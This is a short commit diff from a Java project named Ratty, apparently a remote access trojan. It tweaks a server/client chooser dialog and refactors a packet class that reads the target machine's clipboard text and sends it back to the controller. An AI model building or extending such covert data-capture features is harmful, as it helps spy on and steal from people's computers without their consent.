Minor changes

Ratty/src/de/sogomn/rat/Ratty.java

@@ -102,15 +102,13 @@ public final class Ratty {
 			connectToHost(address, port);
 		} else {
 			final String[] options = {"Server", "Client"};
-			final int input = JOptionPane.showOptionDialog(null, "Server or client?", "Choose", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
+			final int input = JOptionPane.showOptionDialog(null, "Server or client?", null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
 			
 			if (input == JOptionPane.YES_OPTION) {
-				System.out.println("Starting server");
+				System.out.println("Server");
 				
 				startServer(port);
 			} else if (input == JOptionPane.NO_OPTION) {
-				System.out.println("Starting client");
-				
 				connectToHost(address, port);
 			}
 		}

Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java

@@ -2,6 +2,7 @@ package de.sogomn.rat.packet;
 
 import java.awt.HeadlessException;
 import java.awt.Toolkit;
+import java.awt.datatransfer.Clipboard;
 import java.awt.datatransfer.DataFlavor;
 import java.awt.datatransfer.UnsupportedFlavorException;
 import java.io.IOException;
@@ -17,6 +18,7 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
 	
 	public ClipboardPacket() {
 		type = REQUEST;
+		clipboardContent = "";
 	}
 	
 	@Override
@@ -44,7 +46,8 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
 		type = DATA;
 		
 		try {
-			final Object clipboardObject = Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor);
+			final Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
+			final Object clipboardObject = clipboard.getData(DataFlavor.stringFlavor);
 			
 			if (clipboardObject != null) {
 				clipboardContent = (String)clipboardObject;